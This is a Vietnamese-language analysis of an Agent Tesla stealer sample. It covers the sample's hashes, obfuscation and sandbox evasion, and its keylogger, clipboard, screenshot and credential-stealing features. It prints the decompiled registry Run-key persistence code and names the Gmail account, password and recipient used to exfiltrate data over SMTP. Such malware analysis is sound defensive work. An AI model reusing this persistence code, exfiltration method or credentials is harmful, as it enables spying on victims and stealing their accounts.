# 2_.dll
## Tổng quan về mã độc
Loại: Tuy file nhận được là dll, nhưng thực chất đây là một file `PE32`
Kích thước: 191.50 KB
MD5: `384c038a9b48098cb2a868f190a69b2a`
SHA1: `da4182678b4c9bafad62e9829a22c6a2f51e9071`
Ngày tạo: `2018-08-30 19:34:14 UTC`
Sử dụng DIE, cho ra kết quả mã độc được lập trình bằng ngôn ngữ visual Basic, .NET framework 2.0. Sử dụng virustotal để kiểm tra mã độc, 51/72 security vendors và 3 sandboxes flagged đây là mã độc. Cùng với đó nhận diện được đây là mã độc thuộc Collection agent tesla.
Hành vi của mã độc: thuộc nhóm mã độc agent tesla nên hành vi chính của mã độc này là stealer account được lưu trên máy tính từ các ứng dụng như trình duyệt, mail client, ftp client,.... Ngoài ra còn có các hành động gián điệp như keylogger, theo dõi clipboard, chụp ảnh màn hình.
## Phân tích chi tiết
Sau khi sử dụng dnspy để decompile chương trình, chương trình đã được obfuscate, tất cả các tên của class, method, ... đã bị làm rối. Các string được chương trình sử dụng thì được encrypt, và được decrypt lại trong quá trình runtime. `de4dot` không detect được obfuscator và ko thể decrypt lại string dù đã có token của hàm decrypt. Quá trình phân tích cần tiến hành tự deobfuscate.
Khi bắt đầu khởi chạy, mã độc tự sleep 15s, chưa rõ mục đích để làm gì.(edit: sandbox evasion)

Hàm sleep 15s alway return false.
Tiếp theo đó, mã độc kiểm tra user của máy, so sánh với một số username được whitelist. Nếu thuộc whitelist thì sẽ exit. Cũng chưa rõ mục đích việc này để làm gì, có thể mấy cái tên này là những người code ra dòng agent tesla.


Tiếp theo đó, kill tất cả các process khác có cùng tên.

### Mã độc persisten
```vb=
If Operators.CompareString(MainClass.CurrentPath, MainClass.ExpectedPath, False) <> 0 AndAlso MainClass.RV_61 Then
If Not Directory.Exists(Environment.GetEnvironmentVariable("appdata") + "\MyOtApp\") Then
Directory.CreateDirectory(Environment.GetEnvironmentVariable("appdata") + "\MyOtApp\")
End If
Try
If File.Exists(MainClass.ExpectedPath) Then
Try
Dim fullPath As String = Path.GetFullPath(MainClass.ExpectedPath)
For Each process As Process In Process.GetProcesses()
Dim fullPath2 As String = Path.GetFullPath(process.MainModule.FileName)
If Operators.CompareString(fullPath2, fullPath, False) = 0 Then
process.Kill()
End If
Next
Catch ex2 As Exception
End Try
End If
If File.Exists(MainClass.CurrentPath) Then
If File.Exists(MainClass.ExpectedPath) Then
Try
File.Delete(MainClass.ExpectedPath)
Catch ex3 As Exception
End Try
End If
File.Copy(MainClass.CurrentPath, MainClass.ExpectedPath, True)
If MainClass.SMJ_62 Then
File.SetAttributes(MainClass.ExpectedPath, FileAttributes.Hidden Or FileAttributes.System)
End If
End If
Catch ex4 As Exception
End Try
Try ' peristen the malware
Dim registryKey As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
registryKey.SetValue("MyOtApp", MainClass.ExpectedPath)
Dim registryKey2 As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run", True)
If registryKey2 IsNot Nothing Then
Dim array As Byte() = New Byte() {2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
registryKey2.SetValue("MyOtApp", array)
registryKey2.Close()
End If
Catch ex5 As Exception
End Try
End If
```
Nếu thư mục $APPDATA\MyOtApp chưa tồn tại, tiến hành tạo mới thư mục. Nếu đã tồn tại, kiểm tra `expectedPath` là `\MyOtApp\MyOtApp.exe` có tồn tại hay không, nếu có kill tất cả các process có MainModule là file này và tiến hành xóa file này. Sau đó mã độc được copy, thay thế file vừa xóa. `SMJ_62` được set là false nên file này sẽ được được set attribute hidden. Cuối cùng set các register `Software\Microsoft\Windows\CurrentVersion\Run` và `SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run` để persisten
### Gửi thông tin thu thập được qua email

Set timer chạy hàm gửi thông tin.

Các thông tin được gửi bao gồm:
- SystemInformation.UserName + "/" + SystemInformation.ComputerName
- IP của máy nạn nhân thông qua truy vấn đến `http://checkip.dyndns.org/`
- OperatingSystemName
- OsVersion platform
- OS version
- CPU
- RAM
- VideoCard
- Nội dung file log được tạo bởi keylogger

Send email bằng cred `"trieutrang028@gmail.com", "TrieuYeuTrang"`, gửi đến email `hoang.hai.3766@gmail.com`. Mail server sẽ là `smtp.gmail.com`
### CheckInactive

Set timer chạy hàm kiểm tra user inactive, nếu lần cuối cùng user thao tác với chuột và bàn phím là quá 10 phút trước. CHương trình sẽ đánh dấu là user inactive. Giá trị này sẽ được sử dụng tại hàm screenshot
### screenshot

Set timer gọi hàm có nhiệm vụ chụp ảnh màn hình.

Chụp lại ảnh màn hình, lưu thành file `screen.jpeg`, sau đó gửi qua email cho hacker.
### stealer

Mã độc tạo một thread mới để chạy code stealer.

bên trong `ISS` có dạng như trên, mã độc gọi đến các method của UGM class. Class này chứa các method là các hàm sử dụng để dump account được lưu trong các application trên máy. Sau đó gửi về cho hacker qua email.

Số lượng method trong UGM class, rất nhiều ứng dụng bị dump account bao gồm các trình duyệt phổ biến, mail client, ftp client, ...
### Clipboard tracking



MainClass.PEP được gọi khi clipboard được thay đổi.

MainClass.PEP gọi GetText() để lấy text từ clip board mỗi khi nó được thay đổi. Và cộng chuỗi vào MainClass.Clipboard.
### Keylogger

KeylogModule

MainClass.MSI

`UU()`

Với việc gọi `CallNextHook` ở cuối, thì `UU` sẽ được set là keyboardhook
`YHK()`

HookKeyBoard proc được gán cho Me.TP_31, chính là `UU()`


`DNK_33` là `KeyDownEvenHandler`, và được gán bằng `MainClass.FM()`
Như vậy, khi user sử dụng keyboard, flow sẽ như sau:
`UU()(hookProc) -> MainClass.FM() (key down event handler)`
`FM()`

Lấy thông tin ứng dụng đang sử dụng hiện tại

Switch case kiểm tra key được bấm
### Unknown
Ngoài các hành vi trên, mã độc còn có những phần code khác phục vụ những mục đích khác như anti-vm, anti-debug, process inject... Tuy nhiên các flag config để chạy các phần code này được set thành false.
### Kiểm tra các hành vi bằng phân tích động
drop file:

persisten:

screenshot:

Keylogger:

```htmlembedded!
"<br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>aksjdaksjdhaksjdhjk<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>aksjdaksjdhaksjdhjk<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>askjdhsakjhdksajhdjkakasjhdjksahdjksadhsadadadsadasdassasdasdas<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>askjdhsakjhdksajhdjkakasjhdjksahdjksadhsadadadsadasdassasdasdas<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>askjdhsakjhdksajhdjkakasjhdjksahdjksadhsadadadsadasdassasdasdas<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>askjdhsakjhdksajhdjkakasjhdjksahdjksadhsadadadsadasdassasdasdas<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>asdasdasd<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>asdasdasd<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>ahihi<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br><br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>ahihi<span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br>"
```

Gửi mail:

Stealer: chưa test, theo mình biết h chrome đã encrypt data trong sqllite3 của nó. Code của malware không có bước đọc key trong máy => ko test.